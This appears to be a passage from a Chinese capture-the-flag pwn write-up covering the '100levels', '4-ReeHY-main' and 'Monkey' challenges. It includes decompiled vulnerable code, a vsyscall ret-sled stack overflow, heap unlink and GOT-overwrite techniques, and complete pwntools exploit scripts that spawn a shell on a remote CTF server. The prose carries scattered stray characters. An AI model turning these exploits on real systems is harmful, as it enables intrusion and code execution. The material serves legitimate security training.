.text:0000000000000BD1 ; ---------------------------------------------------------------------------
.text:0000000000000BD1
.text:0000000000000BD1 loc_BD1: ; CODE XREF: go+2D↑j
.text:0000000000000BD1 mov rax, [rbp+var_120]
.text:0000000000000BD8 mov [rbp+var_110], rax
.text:0000000000000BDF
.text:0000000000000BDF loc_BDF: ; CODE XREF: go+3B↑j
.text:0000000000000BDF lea rdi, aAnyMore ; "Any more?"
.text:0000000000000BE6 call _puts
.text:0000000000000BEB call get_input
.text:0000000000000BF0 mov [rbp+var_120], rax
.text:0000000000000BF7 mov rdx, [rbp+var_110]
.text:0000000000000BFE mov rax, [rbp+var_120]
.text:0000000000000C05 add rax, rdx
.text:0000000000000C08 mov [rbp+var_110], rax
.text:0000000000000C0F mov rax, [rbp+var_110]
.text:0000000000000C16 test rax, rax
.text:0000000000000C19 jg short loc_C2C
.text:0000000000000C1B lea rdi, aCowardCowardCo ; "Coward Coward Coward Coward Coward"
.text:0000000000000C22 n call _puts
.text:0000000000000C27 jmp locret_D04
.text:0000000000000C2C ; ---------------------------------------------------------------------------
.text:0000000000000C2C
.text:0000000000000C2C loc_C2C: ; CODE XREF: go+85↑j
.text:0000000000000C2C mov rax, [rbp+var_110]
.text:0000000000000C33 cmp rax, 63h
.text:0000000000000C37 jle short loc_C52
.text:0000000000000C39 lea rdi, aYouAreBeingARe ; "You are being a real man."
.text:0000000000000C40 call _puts
.text:0000000000000C45 mov [rbp+var_108], 64h
.text:0000000000000C50 jmp short loc_C60
.text:0000000000000C52 ; ---------------------------------------------------------------------------
? 可以看到輸入的 level 和 anymore 的值色瘩,相加后輸入了[rbp+var_110]的位置,這個位置在hint函數(shù)中存儲的是 system 函數(shù)的地址逸寓,而且根據(jù)程序邏輯:
int go()
{
int v1; // ST0C_4
__int64 v2; // [rsp+0h] [rbp-120h]
__int64 v3; // [rsp+0h] [rbp-120h]
int v4; // [rsp+8h] [rbp-118h]
__int64 v5; // [rsp+10h] [rbp-110h]
signed __int64 v6; // [rsp+10h] [rbp-110h]
signed __int64 v7; // [rsp+18h] [rbp-108h]
__int64 v8; // [rsp+20h] [rbp-100h]
puts("How many levels?");
v2 = get_input("How many levels?");
if ( v2 > 0 ) // 這里可以看到當我們輸入的值不大于0的時候居兆,不會覆蓋 [rbp+var_110] 處system函數(shù)的地址
v5 = v2;
else
puts("Coward");
puts("Any more?");
v3 = get_input("Any more?");
v6 = v5 + v3;
if ( v6 > 0 )
{
if ( v6 <= 99 )
{
v7 = v6;
}
else
{
puts("You are being a real man.");
v7 = 100LL;
}
puts("Let's go!'");
v4 = time(0LL);
if ( (unsigned int)question(v7) != 0 )
{
v1 = time(0LL);
sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", v7, (unsigned int)(v1 - v4), v3);
puts((const char *)&v8);
}
else
{
puts("You failed.");
}
exit(0);
}
return puts("Coward Coward Coward Coward Coward");
}
? 由于給了 libc,我們可以讓相加后的值為 one_gadget 的地址竹伸,然后再從 go 函數(shù)進入 question 函數(shù)的時候泥栖,可以控制 rip 的值到 我們修改的位置處執(zhí)行:
_BOOL8 __fastcall question(signed int a1)
{
int v2; // eax
__int64 v3; // rax
__int64 buf; // [rsp+10h] [rbp-30h]
__int64 v5; // [rsp+18h] [rbp-28h]
__int64 v6; // [rsp+20h] [rbp-20h]
__int64 v7; // [rsp+28h] [rbp-18h]
unsigned int v8; // [rsp+34h] [rbp-Ch]
unsigned int v9; // [rsp+38h] [rbp-8h]
unsigned int v10; // [rsp+3Ch] [rbp-4h]
buf = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
if ( !a1 )
return 1LL;
if ( (unsigned int)question((unsigned int)(a1 - 1)) == 0 )
return 0LL;
v10 = rand() % a1;
v2 = rand();
v9 = v2 % a1;
v8 = v2 % a1 * v10;
puts("====================================================");
printf("Level %d\n", (unsigned int)a1);
printf("Question: %d * %d = ? Answer:", v10, v9);
read(0, &buf, 0x400uLL);
v3 = strtol((const char *)&buf, 0LL, 10);
return v3 == v8;
}
? 可以看到 buffer 距離 rbp 的距離為 0x30,所以我們只需要構(gòu)造如下棧布局:
"a"*0x30+"b"*8+old_ret+ret+ret
|
rbp+120h 處
? 但是由于我們不知道rop的地址勋篓,所以可以使用 vsyscall:
gdb-peda$ x/5i 0xffffffffff600000
0xffffffffff600000: mov rax,0x60
0xffffffffff600007: syscall
0xffffffffff600009: ret
0xffffffffff60000a: int3
0xffffffffff60000b: int3
? 最終版的 exp:
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
io = process('./100levels')
io = remote("111.198.29.45", 30742)
one_gadget = 0x4526a
system_offset = 0x45390
ret_addr = 0xffffffffff600000
def go(levels, more):
io.sendlineafter("Choice:\n", '1')
io.sendlineafter("levels?\n", str(levels))
io.sendlineafter("more?\n", str(more))
def hint():
io.sendlineafter("Choice:\n", '2')
if __name__ == "__main__":
hint()
go(0, one_gadget - system_offset)
for i in range(99):
io.recvuntil("Question: ")
a = int(io.recvuntil(" ")[:-1])
io.recvuntil("* ")
b = int(io.recvuntil(" ")[:-1])
io.sendlineafter("Answer:", str(a * b))
payload = 'A' * 0x30 # buffer
payload += 'B' * 0x8 # rbp
payload += p64(ret_addr) * 3
io.sendafter("Answer:", payload)
io.interactive()
4-ReeHY-main-100
nevv@ubuntu:~/Desktop$ checksec 4-ReeHY-main
[*] '/home/nevv/Desktop/4-ReeHY-main'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
? 經(jīng)典菜單題吧享,先看添加函數(shù),dword_6020AC 處存儲分配的chuk譬嚣,最多5個钢颂,輸入大小的時候當大于 0x70 的時候直接復(fù)制到堆上,小于的時候會先復(fù)制到棧上拜银,然后再復(fù)制到堆中殊鞭。
? create 函數(shù):
signed int create()
{
signed int result; // eax
char buf; // [rsp+0h] [rbp-90h]
void *dest; // [rsp+80h] [rbp-10h]
int v3; // [rsp+88h] [rbp-8h]
size_t nbytes; // [rsp+8Ch] [rbp-4h]
result = dword_6020AC;
if ( dword_6020AC <= 4 )
{
puts("Input size");
result = get_input();
LODWORD(nbytes) = result; // rax返回值的低2字
if ( result <= 4096 )
{
puts("Input cun");
result = get_input();
v3 = result;
if ( result <= 4 )
{
dest = malloc((signed int)nbytes);
puts("Input content");
if ( (signed int)nbytes > 0x70 )
{
read(0, dest, (unsigned int)nbytes);
}
else
{
read(0, &buf, (unsigned int)nbytes);
memcpy(dest, &buf, (signed int)nbytes);
}
*(_DWORD *)(qword_6020C0 + 4LL * v3) = nbytes;
*((_QWORD *)&unk_6020E0 + 2 * v3) = dest;
dword_6020E8[4 * v3] = 1;
++dword_6020AC;
result = fflush(stdout);
}
}
}
return result;
}
? get_input 函數(shù):
__int64 get_input()
{
char buf; // [rsp+2h] [rbp-Eh]
read(0, &buf, 10uLL);
return (unsigned int)atoi(&buf);
}
? edit 函數(shù):
signed int edit()
{
signed int result; // eax
signed int v1; // [rsp+Ch] [rbp-4h]
puts("Chose one to edit");
result = get_input();
v1 = result;
if ( result <= 4 )
{
result = chunk_inuse[4 * result];
if ( result == 1 )
{
puts("Input the content");
read(0, *((void **)&chunk_addr + 2 * v1), *(unsigned int *)(4LL * v1 + chunk_size));
result = puts("Edit success!");
}
}
return result;
}
? show函數(shù)沒什么卵用
? delete 函數(shù):
__int64 delete()
{
__int64 result; // rax
int v1; // [rsp+Ch] [rbp-4h]
puts("Chose one to dele");
result = get_input();
v1 = result;
if ( (signed int)result <= 4 )
{
free(*((void **)&chunk_addr + 2 * (signed int)result)); // 這里free后沒有置為空,存在uaf
chunk_inuse[4 * v1] = 0;
puts("dele success!");
result = (unsigned int)(chunk_num-- - 1);
}
return result;
}
利用:
? 經(jīng)過以上簡單分析尼桶,我們注意到在delete函數(shù)中沒有檢測索引是負數(shù)的情況操灿,而且在free后指針沒有置為空,存在UAF疯汁,這是兩個漏洞點可以給利用提供一些思路牲尺。
- edit函數(shù)中,修改內(nèi)容的時候會到數(shù)組中去取size大小幌蚊,然后根據(jù)之前的size大小修改
- create函數(shù)中谤碳,大于0x70的時候直接復(fù)制,小于的時候會把數(shù)據(jù)先拷貝到棧上
- 聯(lián)想到程序的防御機制溢豆,應(yīng)該是想讓我們用got表地址做文章
- gdb 調(diào)試棧和堆的內(nèi)容如下:
pwndbg> x /30gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000300000002 0x0000000000000004 // 存儲chunk content大小
0x603020: 0x0000000000000000 0x0000000000000031
0x603030: 0x0000000a656d616e 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000 // 不知道是什么蜒简,再往后是添加的三個chunk
0x603050: 0x0000000000000000 0x0000000000000021
0x603060: 0x0000000000000a31 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000021
0x603080: 0x00000000000a3231 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000021
0x6030a0: 0x000000000a333231 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000020f51
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
pwndbg> x /30gx 0x6020AC
0x6020ac: 0x0000000000000003 0x0000000000000000 // chunk_sum 字段
0x6020bc: 0x0060301000000000 0x0000000000000000 // 存儲指向 chunk content 的指針
0x6020cc: 0x0000000000000000 0x0000000000000000
0x6020dc: 0x0060306000000000 0x0000000100000000 // 存儲三個chunk的地址 以及 inuse 字段
0x6020ec: 0x0060308000000000 0x0000000100000000
0x6020fc: 0x006030a000000000 0x0000000100000000
0x60210c: 0x0000000000000000 0x0000000000000000
0x60211c: 0x0000000000000000 0x0000000000000000
0x60212c: 0x0000000000000000 0x0000000000000000
0x60213c: 0x0000000000000000 0x0000000000000000
0x60214c: 0x0000000000000000 0x0000000000000000
0x60215c: 0x0000000000000000 0x0000000000000000
0x60216c: 0x0000000000000000 0x0000000000000000
0x60217c: 0x0000000000000000 0x0000000000000000
0x60218c: 0x0000000000000000 0x0000000000000000
- 新建 A B C
- free content_chunk,新建D(指向的區(qū)域是 content chunk)漩仙,通過修改D修改A chunk的size
- 修改之前的chunk A搓茬,造成溢出,覆蓋B的pre_size和size字段的標志位
- 聯(lián)想到題目中有堆地址可以用队他,因此我們可以構(gòu)造 unlink卷仑,修改堆指針指向存儲了堆數(shù)組的之前 0x18 字節(jié)處
但是現(xiàn)在我們依然無法得知system函數(shù)的地址,可以采用如下辦法:
- 修改三個chunk地址依次為free_got麸折,puts_got锡凝,atoi_got
- 通過edit chunk A 修改free函數(shù)的got表為puts函數(shù)的plt地址,這里修改有個坑點不能使用sendline垢啼,不然會報錯
- 修改后使用free(chunk B)窜锯,打印出puts函數(shù)的got表地址张肾,泄漏出libc,修改atoi為sysytem函數(shù)地址
- 最后使用atoi傳遞bin/sh函數(shù)getshell
exp:
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
# p = process('./4-ReeHY-main')
elf = ELF('./4-ReeHY-main')
p = remote('111.198.29.45', 30999)
p.recv()
p.sendline("hello")
def create(size,cun,content):
p.recvuntil("$")
p.sendline("1")
p.recv()
p.sendline(str(size))
p.recv()
p.sendline(str(cun))
p.recv()
p.sendline(content)
def delete(index):
p.recvuntil("$")
p.sendline("2")
p.recv()
p.sendline(str(index))
def edit(index,content):
p.recvuntil("$")
p.sendline("3")
p.recv()
p.sendline(str(index))
p.recv()
p.sendline(content)
heap_ptr = 0x6020e0
create(0x80,0,"a"*0x80)
create(0x80,1,"a"*0x80)
create(0x80,2,"a"*0x80)
delete(-2) # free the chunk of saving chunk's size
create(0x10,3,p32(0x80*2)+p32(0x80)+p32(0x80)+p32(0))
# malloc and edit the chunk we just free
# --------- prepare to create a fake chunk ---------
payload = p64(0) + p64(0x81)
# presize and size
payload = payload + p64(heap_ptr-0x18) + p64(heap_ptr-0x10)
# fd and bk to unlink
payload += (0x80-len(payload)) * "a"
payload += p64(0x80)
payload += p64(0x90)
# chunk1's fd and bk
edit(0,payload)
delete(1) # unlink
edit(0, p64(0)*3 + p64(elf.got['free']) + p64(1) + p64(elf.got["puts"]) + p64(1) + p64(elf.got["atoi"]) + p64(1))
p.recvuntil("$")
p.sendline("3")
p.recv()
p.sendline(str(0))
p.recv()
p.send(p64(elf.plt["puts"]))
# modify free_got to puts()
delete(1)
p.recvuntil("Chose one to dele\n")
puts_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_addr = puts_addr - 0x06f690
system = libc_addr + 0x045390
print hex(puts_addr)
edit(2, p64(system))
p.sendline("/bin/sh;")
# gdb.attach(p)
p.interactive()
Monkey
mozilla 的 js shell
執(zhí)行 os.system('/bin/sh')锚扎,然后 cat flag即可
參考鏈接:
- https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/
- https://github.com/firmianay/CTF-All-In-One/blob/89825f05449eb37e5c3aad74635d8268ce69b339/doc/6.1.20_pwn_33c3ctf2016_babyfengshui.md
- https://blog.csdn.net/qq_35519254/article/details/78540442
- https://github.com/73696e65/ctf-notes/blob/master/2016-ctf.csaw.io/pwn-100-aul.md
- https://firmianay.github.io/2018/03/22/pwn_hitbctf2017_1000levels.html
- http://www.mamicode.com/info-detail-2502908.html